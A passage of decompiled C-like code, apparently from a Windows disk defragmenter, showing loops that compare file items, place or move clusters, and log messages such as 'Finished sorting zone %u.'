				if ( *((intOrPtr*)(_t2692 + 0x20)) == 0) goto 0x80009d18;
				if ( *((intOrPtr*)(_t2739 + 0x20)) == 0) goto 0x80009d18;
				_t1323 = E00000001180053BDC( *((intOrPtr*)(_t2739 + 0x58)),  *((intOrPtr*)(_t2692 + 0x20)));
				r10d = 0;
				_t1817 = _t1323;
				if (_t1817 == 0) goto 0x80009d18;
				if (_t1817 >= 0) goto 0x80009d84;
				goto 0x80009d81;
				_t1818 =  *((intOrPtr*)(_t2692 + 0x38)) -  *((intOrPtr*)(_t2739 + 0x38));
				if (_t1818 < 0) goto 0x80009d81;
				if (_t1818 > 0) goto 0x80009d84;
				_t1819 =  *((intOrPtr*)(_t2692 + 0x58)) -  *((intOrPtr*)(_t2739 + 0x58));
				if (_t1819 < 0) goto 0x80009d81;
				if (_t1819 > 0) goto 0x80009d84;
				_t1820 =  *((intOrPtr*)(_t2692 + 0x50)) -  *((intOrPtr*)(_t2739 + 0x50));
				if (_t1820 < 0) goto 0x80009d81;
				if (_t1820 > 0) goto 0x80009d84;
				_t1821 =  *((intOrPtr*)(_t2692 + 0x48)) -  *((intOrPtr*)(_t2739 + 0x48));
				if (_t1821 < 0) goto 0x80009d81;
				if (_t1821 > 0) goto 0x80009d84;
				_t2154 =  *((intOrPtr*)(_t2692 + 0x60));
				goto 0x80009d58;
				if ( *_t2154 != 0xffffffff) goto 0x80009d66;
				if ( *((intOrPtr*)(_t2154 + 0x10)) != 0) goto 0x80009d4e;
				_t2156 =  *((intOrPtr*)(_t2739 + 0x60));
				goto 0x80009d75;
				goto 0x80009d60;
				if ( *_t2156 != 0xffffffff) goto 0x80009d7c;
				_t2157 =  *((intOrPtr*)(_t2156 + 0x10));
				if (_t2157 != 0) goto 0x80009d6b;
				goto 0x80009d84;
				if ( *_t2156 -  *_t2157 >= 0) goto 0x80009d84;
				_t2740 = _t2692;
				E0000000118000F3BC(_t2692);
				r10d = 0;
				if (_t2157 != 0) goto 0x80009bba;
				if (_t2740 == 0) goto 0x80009f8a;
				_t2960 = _t2740;
				 *((long long*)(_t2244 + 0x210)) =  *((intOrPtr*)(_t2244 + 0x218)) + _t2900 +  *((intOrPtr*)(_t2692 + 0x40));
				_t2158 =  *((intOrPtr*)(_t2740 + 0x60));
				goto 0x80009dcf;
				if ( *_t2158 != 0xffffffff) goto 0x80009df3;
				if ( *((intOrPtr*)(_t2158 + 0x10)) != 0) goto 0x80009dc5;
				_t2619 =  *((intOrPtr*)(_t2750 + 0x60));
				if (_t2900 != _t2619) goto 0x80009df8;
				 *((long long*)(_t2750 + 0x60)) = _t2619 +  *((intOrPtr*)(_t2740 + 0x40));
				goto 0x80009b84;
				goto 0x80009dd7;
				_t2995 = _t2900;
				goto 0x80009f7c;
				_t2455 =  *((intOrPtr*)(_t2740 + 0x40));
				if (_t2995 - _t2455 >= 0) goto 0x80009b84;
				if ( *((intOrPtr*)(_t2740 + 0x7c)) != r10d) goto 0x80009b84;
				if (_t2995 == 0) goto 0x80009e48;
				r8d = 0;
				 *(_t2750 + 0x20) = _t2455 - _t2995;
				_t855 = _t2806 + 5; // 0x5
				E00000001180004968((_t1416 & 0xffffff00 | _t1794 == 0x00000000) + 1, _t855,  *((intOrPtr*)(_t2244 + 8)),  *(_t2750 + 0x78), _t2619 +  *((intOrPtr*)(_t2740 + 0x40)), _t2806, L"Item partially placed, %I64u clusters more to do");
				r10d = 0;
				_t858 = _t3022 + 0x10; // 0x10
				if (_t858 +  *((intOrPtr*)(_t2740 + 0x40)) - _t2995 -  *(_t2750 + 0x70) <= 0) goto 0x80009ec2;
				 *(_t2750 + 0x20) = r10d;
				_t2460 =  *((intOrPtr*)(_t2750 + 0x50));
				E0000000118000F464((_t1416 & 0xffffff00 | _t1794 == 0x00000000) + 1, _t1492, 0, _t1496, _t858 +  *((intOrPtr*)(_t2740 + 0x40)) - _t2995 -  *(_t2750 + 0x70), _t2460, _t2244,  *((intOrPtr*)(_t2750 + 0x60)),  *((intOrPtr*)(_t2740 + 0x40)) - _t2995 +  *(_t2747 - 0x80), _t2900);
				r9d = 0;
				 *(_t2750 + 0x48) = 0;
				 *((long long*)(_t2750 + 0x40)) = _t2750 + 0x70;
				 *(_t2750 + 0x38) = _t2750 + 0x58;
				 *(_t2750 + 0x30) = 0;
				 *(_t2750 + 0x28) = 1;
				 *(_t2750 + 0x20) = _t2460;
				_t1327 = E0000000118000B10C(0, _t2750 + 0x58, _t2244,  *((intOrPtr*)(_t2750 + 0x50)), _t2244,  *((intOrPtr*)(_t2750 + 0x60)),  *((intOrPtr*)(_t2740 + 0x40)) - _t2995 +  *(_t2747 - 0x80), _t2901);
				r10d = 0;
				if (_t1327 == 0) goto 0x80009fbf;
				_t3023 =  *(_t2750 + 0x58);
				_t2462 =  *(_t2750 + 0x70);
				_t2166 = _t2462 - _t3023;
				_t1837 =  *((intOrPtr*)(_t2740 + 0x40)) - _t2995 - _t2166;
				if (_t1837 <= 0) goto 0x80009eef;
				_t2697 = _t2166 & 0xfffffff8;
				if (_t1837 != 0) goto 0x80009eef;
				 *((long long*)(_t2750 + 0x60)) = _t2462;
				goto 0x80009f78;
				_t2463 =  *((intOrPtr*)(_t2750 + 0x50));
				 *(_t2750 + 0x30) = r10d;
				 *(_t2750 + 0x28) = _t2697;
				 *(_t2750 + 0x20) = _t2995;
				if (E0000000118000CB04(0, _t1492, 0, _t1496, _t2244, _t2463, _t2244, _t2747, _t2740, _t3023) != 1) goto 0x80009f23;
				_t3024 = _t3023 + _t2697;
				 *(_t2750 + 0x58) = _t3024;
				r10d = 0;
				goto 0x80009f6d;
				 *(_t2750 + 0x48) = 0;
				r9d = 0;
				 *((long long*)(_t2750 + 0x40)) = _t2750 + 0x70;
				_t2810 = _t3024;
				 *(_t2750 + 0x38) = _t2750 + 0x58;
				 *(_t2750 + 0x30) = 0;
				 *(_t2750 + 0x28) = 1;
				 *(_t2750 + 0x20) = _t2463;
				_t1329 = E0000000118000B10C(0, _t2750 + 0x58, _t2244,  *((intOrPtr*)(_t2750 + 0x50)), _t2244, _t2810, _t3023, _t2901);
				r10d = 0;
				if (_t1329 == 0) goto 0x80009fbf;
				_t3025 =  *(_t2750 + 0x58);
				_t2627 = _t3025;
				 *((long long*)(_t2750 + 0x60)) = _t2627;
				if ( *((intOrPtr*)( *((intOrPtr*)(_t2244 + 8)))) == r10d) goto 0x80009e00;
				goto 0x80009b84;
				r8d = 0;
				 *(_t2750 + 0x20) =  *(_t2244 + 4) + 1;
				_t897 = _t2810 + 2; // 0x2
				E00000001180004968(0, _t897,  *((intOrPtr*)(_t2244 + 8)),  *(_t2750 + 0x78), _t2627, _t2810, L"Finished sorting zone %u.");
				r10d = 0;
				_t1334 =  *(_t2244 + 4) + 1;
				 *(_t2244 + 4) = _t1334;
				if (_t1334 - 3 < 0) goto 0x80009b46;
				_t2170 =  *((intOrPtr*)(_t2244 + 8));
				if ( *_t2170 != r10d) goto 0x8000a49c;
				if ( *(_t2750 + 0x68) != 9) goto 0x8000a49c;
				E00000001180005CCC();
				r10d = 0;
				 *(_t2750 + 0x78) = _t2170;
				if ( *((intOrPtr*)(_t2244 + 0x120)) == _t2900) goto 0x8000a498;
				 *(_t2244 + 4) = r10d;
				 *(_t2747 - 0x80) = ( *((intOrPtr*)(_t2244 + 0x198)) - _t2627 >> 1) + _t2627 >> 7;
				r9d = r10d;
				r8d = 4;
				E00000001180006A7C(0, 0xe147ae15, _t2244,  *((intOrPtr*)(_t2750 + 0x50)), _t2244, _t2900);
				r10d = 0;
				r13d = r10d;
				 *(_t2750 + 0x58) = _t2900;
				r15d = r10d;
				 *(_t2750 + 0x70) = _t2900;
				_t2811 =  *((intOrPtr*)(_t2244 + 0x148 +  *(_t2244 + 4) * 8));
				 *((long long*)(_t2750 + 0x60)) = _t2811;
				if ( *((intOrPtr*)( *((intOrPtr*)(_t2244 + 8)))) != r10d) goto 0x8000a487;
				_t2698 =  *((intOrPtr*)(_t2244 + 0x120));
				_t2741 = _t2900;
				if (_t2698 == 0) goto 0x8000a463;
				_t2174 =  *((intOrPtr*)(_t2698 + 8));
				goto 0x8000a089;
				_t2699 = _t2174;
				if ( *((intOrPtr*)(_t2174 + 8)) != 0) goto 0x8000a082;
				if ( *((intOrPtr*)(_t2699 + 0x7c)) == 1) goto 0x8000a25d;
				if ( *((intOrPtr*)(_t2699 + 0x80)) == 1) goto 0x8000a25d;
				if ( *((intOrPtr*)(_t2699 + 0x40)) == _t2900) goto 0x8000a25d;
				_t1851 =  *((intOrPtr*)(_t2699 + 0x84)) - 1;
				_t1421 = r10d;
				_t1341 =  !=  ? (_t1421 & 0xffffff00 | _t1851 == 0x00000000) + 1 : r10d;
				_t1853 = ( !=  ? (_t1421 & 0xffffff00 | _t1851 == 0x00000000) + 1 : r10d) -  *(_t2244 + 4);
				if (( !=  ? (_t1421 & 0xffffff00 | _t1851 == 0x00000000) + 1 : r10d) !=  *(_t2244 + 4)) goto 0x8000a25d;
				if (_t2960 == 0) goto 0x8000a1a5;
				if (_t2960 == _t2699) goto 0x8000a25d;
				_t1856 =  *((intOrPtr*)(_t2960 + 0x50)) -  *((intOrPtr*)(_t2699 + 0x50));
				if (_t1856 < 0) goto 0x8000a1a5;
				if (_t1856 > 0) goto 0x8000a25d;
				if ( *((intOrPtr*)(_t2960 + 0x20)) == 0) goto 0x8000a125;
				if ( *((intOrPtr*)(_t2699 + 0x20)) == 0) goto 0x8000a125;
				_t1342 = E00000001180053BDC( *((intOrPtr*)(_t2699 + 0x50)),  *((intOrPtr*)(_t2960 + 0x20)));
				r10d = 0;
				_t1859 = _t1342;
				if (_t1859 == 0) goto 0x8000a125;
				if (_t1859 >= 0) goto 0x8000a25d;
				goto 0x8000a1a5;
				_t1860 =  *((intOrPtr*)(_t2960 + 0x38)) -  *((intOrPtr*)(_t2699 + 0x38));
				if (_t1860 < 0) goto 0x8000a1a5;
				if (_t1860 > 0) goto 0x8000a25d;
				_t1861 =  *((intOrPtr*)(_t2960 + 0x58)) -  *((intOrPtr*)(_t2699 + 0x58));
				if (_t1861 < 0) goto 0x8000a1a5;
				if (_t1861 > 0) goto 0x8000a25d;
				_t1862 =  *((intOrPtr*)(_t2960 + 0x50)) -  *((intOrPtr*)(_t2699 + 0x50));
				if (_t1862 < 0) goto 0x8000a1a5;
				if (_t1862 > 0) goto 0x8000a25d;
				_t1863 =  *((intOrPtr*)(_t2960 + 0x48)) -  *((intOrPtr*)(_t2699 + 0x48));
				if (_t1863 < 0) goto 0x8000a1a5;
				if (_t1863 > 0) goto 0x8000a25d;
				_t2181 =  *((intOrPtr*)(_t2960 + 0x60));
				goto 0x8000a175;
				if ( *_t2181 != 0xffffffff) goto 0x8000a183;
				if ( *((intOrPtr*)(_t2181 + 0x10)) != 0) goto 0x8000a16b;
				_t2183 =  *((intOrPtr*)(_t2699 + 0x60));
				goto 0x8000a192;
				goto 0x8000a17d;
				if ( *_t2183 != 0xffffffff) goto 0x8000a19c;
				_t2184 =  *((intOrPtr*)(_t2183 + 0x10));
				if (_t2184 != 0) goto 0x8000a188;
				goto 0x8000a25d;
				if ( *_t2183 -  *_t2184 >= 0) goto 0x8000a25d;
				if (_t2741 == 0) goto 0x8000a25a;
				if (_t2699 == _t2741) goto 0x8000a25d;
				_t1871 =  *((intOrPtr*)(_t2699 + 0x50)) -  *((intOrPtr*)(_t2741 + 0x50));
				if (_t1871 < 0) goto 0x8000a25a;
				if (_t1871 > 0) goto 0x8000a25d;
				if ( *((intOrPtr*)(_t2699 + 0x20)) == 0) goto 0x8000a1f1;
				if ( *((intOrPtr*)(_t2741 + 0x20)) == 0) goto 0x8000a1f1;
				_t1343 = E00000001180053BDC( *((intOrPtr*)(_t2741 + 0x50)),  *((intOrPtr*)(_t2699 + 0x20)));
				r10d = 0;
				_t1874 = _t1343;
				if (_t1874 == 0) goto 0x8000a1f1;
				if (_t1874 >= 0) goto 0x8000a25d;
				goto 0x8000a25a;
				_t1875 =  *((intOrPtr*)(_t2699 + 0x38)) -  *((intOrPtr*)(_t2741 + 0x38));
				if (_t1875 < 0) goto 0x8000a25a;
				if (_t1875 > 0) goto 0x8000a25d;
				_t1876 =  *((intOrPtr*)(_t2699 + 0x58)) -  *((intOrPtr*)(_t2741 + 0x58));
				if (_t1876 < 0) goto 0x8000a25a;
				if (_t1876 > 0) goto 0x8000a25d;
				_t1877 =  *((intOrPtr*)(_t2699 + 0x50)) -  *((intOrPtr*)(_t2741 + 0x50));
				if (_t1877 < 0) goto 0x8000a25a;
				if (_t1877 > 0) goto 0x8000a25d;
				_t1878 =  *((intOrPtr*)(_t2699 + 0x48)) -  *((intOrPtr*)(_t2741 + 0x48));
				if (_t1878 < 0) goto 0x8000a25a;
				if (_t1878 > 0) goto 0x8000a25d;
				_t2190 =  *((intOrPtr*)(_t2699 + 0x60));
				goto 0x8000a231;
				if ( *_t2190 != 0xffffffff) goto 0x8000a23f;
				if ( *((intOrPtr*)(_t2190 + 0x10)) != 0) goto 0x8000a227;
				_t2192 =  *((intOrPtr*)(_t2741 + 0x60));
				goto 0x8000a24e;
				goto 0x8000a239;
				if ( *_t2192 != 0xffffffff) goto 0x8000a255;
				_t2193 =  *((intOrPtr*)(_t2192 + 0x10));
				if (_t2193 != 0) goto 0x8000a244;
				goto 0x8000a25d;
				if ( *_t2192 -  *_t2193 >= 0) goto 0x8000a25d;
				_t2742 = _t2699;
				E0000000118000F3BC(_t2699);
				r10d = 0;
				if (_t2193 != 0) goto 0x8000a093;
				if (_t2742 == 0) goto 0x8000a463;
				_t2961 = _t2742;
				 *((long long*)(_t2244 + 0x210)) =  *((intOrPtr*)(_t2244 + 0x218)) + _t2900 +  *((intOrPtr*)(_t2699 + 0x40));
				_t2194 =  *((intOrPtr*)(_t2742 + 0x60));
				goto 0x8000a2a8;
				if ( *_t2194 != 0xffffffff) goto 0x8000a2cc;
				if ( *((intOrPtr*)(_t2194 + 0x10)) != 0) goto 0x8000a29e;
				_t2632 =  *((intOrPtr*)(_t2750 + 0x60));
				if (_t2900 != _t2632) goto 0x8000a2d1;
				 *((long long*)(_t2750 + 0x60)) = _t2632 +  *((intOrPtr*)(_t2742 + 0x40));
				goto 0x8000a05d;
				goto 0x8000a2b0;
				_t2999 = _t2900;
				goto 0x8000a455;
				_t2478 =  *((intOrPtr*)(_t2742 + 0x40));
				if (_t2999 - _t2478 >= 0) goto 0x8000a05d;
				if ( *((intOrPtr*)(_t2742 + 0x7c)) != r10d) goto 0x8000a05d;
				if (_t2999 == 0) goto 0x8000a321;
				r8d = 0;
				 *(_t2750 + 0x20) = _t2478 - _t2999;
				_t978 = _t2811 + 5; // 0x5
				E00000001180004968((_t1421 & 0xffffff00 | _t1851 == 0x00000000) + 1, _t978,  *((intOrPtr*)(_t2244 + 8)),  *(_t2750 + 0x78), _t2632 +  *((intOrPtr*)(_t2742 + 0x40)), _t2811, L"Item partially placed, %I64u clusters more to do");
				r10d = 0;
				if ( *((intOrPtr*)(_t2742 + 0x40)) - _t2999 + 0x10 + _t3025 -  *(_t2750 + 0x70) <= 0) goto 0x8000a39b;
				 *(_t2750 + 0x20) = r10d;
				_t2483 =  *((intOrPtr*)(_t2750 + 0x50));
				E0000000118000F464((_t1421 & 0xffffff00 | _t1851 == 0x00000000) + 1, _t1492, 0, _t1496,  *((intOrPtr*)(_t2742 + 0x40)) - _t2999 + 0x10 + _t3025 -  *(_t2750 + 0x70), _t2483, _t2244,  *((intOrPtr*)(_t2750 + 0x60)),  *(_t2747 - 0x80) +  *((intOrPtr*)(_t2742 + 0x40)) - _t2999, _t2900);
				r9d = 0;
				 *(_t2750 + 0x48) = 0;
				 *((long long*)(_t2750 + 0x40)) = _t2750 + 0x70;
				 *(_t2750 + 0x38) = _t2750 + 0x58;
				 *(_t2750 + 0x30) = 0;
				 *(_t2750 + 0x28) = 1;
				 *(_t2750 + 0x20) = _t2483;
				_t1347 = E0000000118000B10C(0, _t2750 + 0x58, _t2244,  *((intOrPtr*)(_t2750 + 0x50)), _t2244,  *((intOrPtr*)(_t2750 + 0x60)),  *(_t2747 - 0x80) +  *((intOrPtr*)(_t2742 + 0x40)) - _t2999, _t2901);
				r10d = 0;
				if (_t1347 == 0) goto 0x8000a498;
				_t3026 =  *(_t2750 + 0x58);
				_t2485 =  *(_t2750 + 0x70);
				_t2202 = _t2485 - _t3026;
				_t1894 =  *((intOrPtr*)(_t2742 + 0x40)) - _t2999 - _t2202;
				if (_t1894 <= 0) goto 0x8000a3c8;
				_t2704 = _t2202 & 0xfffffff8;
				if (_t1894 != 0) goto 0x8000a3c8;
				 *((long long*)(_t2750 + 0x60)) = _t2485;
				goto 0x8000a451;
				_t2486 =  *((intOrPtr*)(_t2750 + 0x50));
				 *(_t2750 + 0x30) = r10d;
				 *(_t2750 + 0x28) = _t2704;
				 *(_t2750 + 0x20) = _t2999;
				if (E0000000118000CB04(0, _t1492, 0, _t1496, _t2244, _t2486, _t2244, _t2747, _t2742, _t3026) != 1) goto 0x8000a3fc;
				_t3027 = _t3026 + _t2704;
				 *(_t2750 + 0x58) = _t3027;
				r10d = 0;
				goto 0x8000a446;
				 *(_t2750 + 0x48) = 0;
				r9d = 0;
				 *((long long*)(_t2750 + 0x40)) = _t2750 + 0x70;
				_t2815 = _t3027;
				 *(_t2750 + 0x38) = _t2750 + 0x58;
				 *(_t2750 + 0x30) = 0;
				 *(_t2750 + 0x28) = 1;
				 *(_t2750 + 0x20) = _t2486;
				_t1349 = E0000000118000B10C(0, _t2750 + 0x58, _t2244,  *((intOrPtr*)(_t2750 + 0x50)), _t2244, _t2815, _t3026, _t2901);
				r10d = 0;
				if (_t1349 == 0) goto 0x8000a498;
				_t3028 =  *(_t2750 + 0x58);
				_t2640 = _t3028;
				 *((long long*)(_t2750 + 0x60)) = _t2640;
				_t2205 =  *((intOrPtr*)(_t2244 + 8));
				if ( *_t2205 == r10d) goto 0x8000a2d9;
				goto 0x8000a05d;
				r8d = 0;
				 *(_t2750 + 0x20) =  *(_t2244 + 4) + 1;
				_t1020 = _t2815 + 2; // 0x2
				E00000001180004968(0, _t1020, _t2205,  *(_t2750 + 0x78), _t2640, _t2815, L"Finished sorting zone %u.");
				r10d = 0;
				_t1354 =  *(_t2244 + 4) + 1;
				 *(_t2244 + 4) = _t1354;
				if (_t1354 - 3 < 0) goto 0x8000a01f;
				if ( *((intOrPtr*)( *((intOrPtr*)(_t2244 + 8)))) != r10d) goto 0x8000a970;
				if ( *(_t2750 + 0x68) != 0xa) goto 0x8000a970;
				E00000001180005CCC();
				 *(_t2750 + 0x78) = _t2205;
				if ( *((intOrPtr*)(_t2244 + 0x120)) == _t2742) goto 0x8000a970;
				 *(_t2244 + 4) = 0;
				 *(_t2747 - 0x80) = ( *((intOrPtr*)(_t2244 + 0x198)) - _t2640 >> 1) + _t2640 >> 7;
				r9d = 0;
				r8d = 4;
				E00000001180006A7C(0, 0xe147ae15, _t2244,  *((intOrPtr*)(_t2750 + 0x50)), _t2244, _t2900);
				r10d = 0;
				r13d = r10d;
				 *(_t2750 + 0x58) = _t2900;
				r15d = r10d;
				 *(_t2750 + 0x70) = _t2900;
				 *((long long*)(_t2750 + 0x60)) =  *((intOrPtr*)(_t2244 + 0x148 +  *(_t2244 + 4) * 8));
				if ( *((intOrPtr*)( *((intOrPtr*)(_t2244 + 8)))) != r10d) goto 0x8000a95f;
				_t2705 =  *((intOrPtr*)(_t2244 + 0x120));
				_t2743 = _t2900;
				if (_t2705 == 0) goto 0x8000a93e;
				_t2209 =  *((intOrPtr*)(_t2705 + 8));
				goto 0x8000a55f;
				_t2706 = _t2209;
				if ( *((intOrPtr*)(_t2209 + 8)) != 0) goto 0x8000a558;
				if ( *((intOrPtr*)(_t2706 + 0x7c)) == 1) goto 0x8000a733;
				if ( *((intOrPtr*)(_t2706 + 0x80)) == 1) goto 0x8000a733;
				if ( *((intOrPtr*)(_t2706 + 0x40)) == _t2900) goto 0x8000a733;
				_t1908 =  *((intOrPtr*)(_t2706 + 0x84)) - 1;
				_t1426 = r10d;
				_t1361 =  !=  ? (_t1426 & 0xffffff00 | _t1908 == 0x00000000) + 1 : r10d;
				_t1910 = ( !=  ? (_t1426 & 0xffffff00 | _t1908 == 0x00000000) + 1 : r10d) -  *(_t2244 + 4);
				if (( !=  ? (_t1426 & 0xffffff00 | _t1908 == 0x00000000) + 1 : r10d) !=  *(_t2244 + 4)) goto 0x8000a733;
				if (_t2961 == 0) goto 0x8000a67b;
				if (_t2961 == _t2706) goto 0x8000a733;
				_t1913 =  *((intOrPtr*)(_t2961 + 0x48)) -  *((intOrPtr*)(_t2706 + 0x48));
				if (_t1913 < 0) goto 0x8000a67b;
				if (_t1913 > 0) goto 0x8000a733;
				if ( *((intOrPtr*)(_t2961 + 0x20)) == 0) goto 0x8000a5fb;
				if ( *((intOrPtr*)(_t2706 + 0x20)) == 0) goto 0x8000a5fb;
				_t1362 = E00000001180053BDC( *((intOrPtr*)(_t2706 + 0x48)),  *((intOrPtr*)(_t2961 + 0x20)));
				r10d = 0;
				_t1916 = _t1362;
				if (_t1916 == 0) goto 0x8000a5fb;
				if (_t1916 >= 0) goto 0x8000a733;
				goto 0x8000a67b;
				_t1917 =  *((intOrPtr*)(_t2961 + 0x38)) -  *((intOrPtr*)(_t2706 + 0x38));
				if (_t1917 < 0) goto 0x8000a67b;
				if (_t1917 > 0) goto 0x8000a733;
				_t1918 =  *((intOrPtr*)(_t2961 + 0x58)) -  *((intOrPtr*)(_t2706 + 0x58));
				if (_t1918 < 0) goto 0x8000a67b;
				if (_t1918 > 0) goto 0x8000a733;
				_t1919 =  *((intOrPtr*)(_t2961 + 0x50)) -  *((intOrPtr*)(_t2706 + 0x50));
				if (_t1919 < 0) goto 0x8000a67b;
				if (_t1919 > 0) goto 0x8000a733;
				_t1920 =  *((intOrPtr*)(_t2961 + 0x48)) -  *((intOrPtr*)(_t2706 + 0x48));
				if (_t1920 < 0) goto 0x8000a67b;
				if (_t1920 > 0) goto 0x8000a733;
				_t2216 =  *((intOrPtr*)(_t2961 + 0x60));
				goto 0x8000a64b;
				if ( *_t2216 != 0xffffffff) goto 0x8000a659;
				if ( *((intOrPtr*)(_t2216 + 0x10)) != 0) goto 0x8000a641;
				_t2218 =  *((intOrPtr*)(_t2706 + 0x60));
				goto 0x8000a668;
				goto 0x8000a653;
				if ( *_t2218 != 0xffffffff) goto 0x8000a672;
				_t2219 =  *((intOrPtr*)(_t2218 + 0x10));
				if (_t2219 != 0) goto 0x8000a65e;
				goto 0x8000a733;
				if ( *_t2218 -  *_t2219 >= 0) goto 0x8000a733;
				if (_t2743 == 0) goto 0x8000a730;
				if (_t2706 == _t2743) goto 0x8000a733;
				_t1928 =  *((intOrPtr*)(_t2706 + 0x48)) -  *((intOrPtr*)(_t2743 + 0x48));
				if (_t1928 < 0) goto 0x8000a730;
				if (_t1928 > 0) goto 0x8000a733;
				if ( *((intOrPtr*)(_t2706 + 0x20)) == 0) goto 0x8000a6c7;
				if ( *((intOrPtr*)(_t2743 + 0x20)) == 0) goto 0x8000a6c7;
				_t1363 = E00000001180053BDC( *((intOrPtr*)(_t2743 + 0x48)),  *((intOrPtr*)(_t2706 + 0x20)));
				r10d = 0;
				_t1931 = _t1363;
				if (_t1931 == 0) goto 0x8000a6c7;
				if (_t1931 >= 0) goto 0x8000a733;
				goto 0x8000a730;
				_t1932 =  *((intOrPtr*)(_t2706 + 0x38)) -  *((intOrPtr*)(_t2743 + 0x38));
				if (_t1932 < 0) goto 0x8000a730;
				if (_t1932 > 0) goto 0x8000a733;
				_t1933 =  *((intOrPtr*)(_t2706 + 0x58)) -  *((intOrPtr*)(_t2743 + 0x58));
				if (_t1933 < 0) goto 0x8000a730;
				if (_t1933 > 0) goto 0x8000a733;
				_t1934 =  *((intOrPtr*)(_t2706 + 0x50)) -  *((intOrPtr*)(_t2743 + 0x50));
				if (_t1934 < 0) goto 0x8000a730;
				if (_t1934 > 0) goto 0x8000a733;
				_t1935 =  *((intOrPtr*)(_t2706 + 0x48)) -  *((intOrPtr*)(_t2743 + 0x48));
				if (_t1935 < 0) goto 0x8000a730;
				if (_t1935 > 0) goto 0x8000a733;
				_t2225 =  *((intOrPtr*)(_t2706 + 0x60));
				goto 0x8000a707;
				if ( *_t2225 != 0xffffffff) goto 0x8000a715;
				if ( *((intOrPtr*)(_t2225 + 0x10)) != 0) goto 0x8000a6fd;
				_t2227 =  *((intOrPtr*)(_t2743 + 0x60));
				goto 0x8000a724;
				goto 0x8000a70f;
				if ( *_t2227 != 0xffffffff) goto 0x8000a72b;
				_t2228 =  *((intOrPtr*)(_t2227 + 0x10));
				if (_t2228 != 0) goto 0x8000a71a;
				goto 0x8000a733;
				if ( *_t2227 -  *_t2228 >= 0) goto 0x8000a733;
				_t2744 = _t2706;
				E0000000118000F3BC(_t2706);
				r10d = 0;
				if (_t2228 != 0) goto 0x8000a569;
				if (_t2744 == 0) goto 0x8000a93e;
				 *((long long*)(_t2244 + 0x210)) =  *((intOrPtr*)(_t2244 + 0x218)) + _t2900 +  *((intOrPtr*)(_t2706 + 0x40));
				_t2229 =  *((intOrPtr*)(_t2744 + 0x60));
				goto 0x8000a77e;
				if ( *_t2229 != 0xffffffff) goto 0x8000a79d;
				if ( *((intOrPtr*)(_t2229 + 0x10)) != 0) goto 0x8000a774;
				_t2817 =  *((intOrPtr*)(_t2750 + 0x60));
				if (_t2900 != _t2817) goto 0x8000a7a2;
				_t2818 = _t2817 +  *((intOrPtr*)(_t2744 + 0x40));
				goto 0x8000a52e;
				goto 0x8000a786;
				_t3003 = _t2900;
				if ( *((intOrPtr*)( *((intOrPtr*)(_t2244 + 8)))) != r10d) goto 0x8000a95f;
				_t2502 =  *((intOrPtr*)(_t2744 + 0x40));
				if (_t3003 - _t2502 >= 0) goto 0x8000a533;
				if ( *((intOrPtr*)(_t2744 + 0x7c)) != r10d) goto 0x8000a533;
				if (_t3003 == 0) goto 0x8000a7fc;
				r8d = 0;
				 *(_t2750 + 0x20) = _t2502 - _t3003;
				_t1100 = _t2818 + 5; // 0x5
				E00000001180004968((_t1426 & 0xffffff00 | _t1908 == 0x00000000) + 1, _t1100,  *((intOrPtr*)(_t2244 + 8)),  *(_t2750 + 0x78),  *((intOrPtr*)(_t2244 + 8)), _t2817 +  *((intOrPtr*)(_t2744 + 0x40)), L"Item partially placed, %I64u clusters more to do");
				r10d = 0;
				if ( *((intOrPtr*)(_t2744 + 0x40)) - _t3003 + 0x10 + _t3028 -  *(_t2750 + 0x70) <= 0) goto 0x8000a873;
				 *(_t2750 + 0x20) = r10d;
				_t2507 =  *((intOrPtr*)(_t2750 + 0x50));
				E0000000118000F464((_t1426 & 0xffffff00 | _t1908 == 0x00000000) + 1, _t1492, 0, _t1496,  *((intOrPtr*)(_t2744 + 0x40)) - _t3003 + 0x10 + _t3028 -  *(_t2750 + 0x70), _t2507, _t2244,  *((intOrPtr*)(_t2750 + 0x60)),  *(_t2747 - 0x80) +  *((intOrPtr*)(_t2744 + 0x40)) - _t3003, _t2900);
				r9d = 0;
				 *(_t2750 + 0x48) = 0;
				 *((long long*)(_t2750 + 0x40)) = _t2750 + 0x70;
				 *(_t2750 + 0x38) = _t2750 + 0x58;
				 *(_t2750 + 0x30) = 0;
				 *(_t2750 + 0x28) = 1;
				 *(_t2750 + 0x20) = _t2507;
				_t1367 = E0000000118000B10C(0, _t2750 + 0x58, _t2244,  *((intOrPtr*)(_t2750 + 0x50)), _t2244,  *((intOrPtr*)(_t2750 + 0x60)),  *(_t2747 - 0x80) +  *((intOrPtr*)(_t2744 + 0x40)) - _t3003, _t2901);
				r10d = 0;
				if (_t1367 == 0) goto 0x8000a970;
				_t3029 =  *(_t2750 + 0x58);
				_t2509 =  *(_t2750 + 0x70);
				_t2238 = _t2509 - _t3029;
				_t1952 =  *((intOrPtr*)(_t2744 + 0x40)) - _t3003 - _t2238;
				if (_t1952 <= 0) goto 0x8000a8a0;
				_t2711 = _t2238 & 0xfffffff8;
				if (_t1952 != 0) goto 0x8000a8a0;
				 *((long long*)(_t2750 + 0x60)) = _t2509;
				goto 0x8000a929;
				_t2510 =  *((intOrPtr*)(_t2750 + 0x50));
				 *(_t2750 + 0x30) = r10d;
				 *(_t2750 + 0x28) = _t2711;
				 *(_t2750 + 0x20) = _t3003;
				if (E0000000118000CB04(0, _t1492, 0, _t1496, _t2244, _t2510, _t2244, _t2747, _t2744, _t3029) != 1) goto 0x8000a8d4;
				 *(_t2750 + 0x58) = _t3029 + _t2711;
				r10d = 0;
				goto 0x8000a91e;
				 *(_t2750 + 0x48) = 0;
				r9d = 0;
				 *((long long*)(_t2750 + 0x40)) = _t2750 + 0x70;
				 *(_t2750 + 0x38) = _t2750 + 0x58;
				 *(_t2750 + 0x30) = 0;
				 *(_t2750 + 0x28) = 1;
				 *(_t2750 + 0x20) = _t2510;
				_t1369 = E0000000118000B10C(0, _t2750 + 0x58, _t2244,  *((intOrPtr*)(_t2750 + 0x50)), _t2244, _t3029 + _t2711, _t3029, _t2901);
				r10d = 0;
				if (_t1369 == 0) goto 0x8000a970;
				_t3031 =  *(_t2750 + 0x58);
				_t2824 = _t3031;
				 *((long long*)(_t2750 + 0x60)) = _t3031;
				if ( *((intOrPtr*)( *((intOrPtr*)(_t2244 + 8)))) == r10d) goto 0x8000a7b1;
				goto 0x8000a533;
				_t2899 = L"Finished sorting zone %u.";
				r8d = 0;
				 *(_t2750 + 0x20) =  *(_t2244 + 4) + 1;
				_t1142 = _t2824 + 2; // 0x2
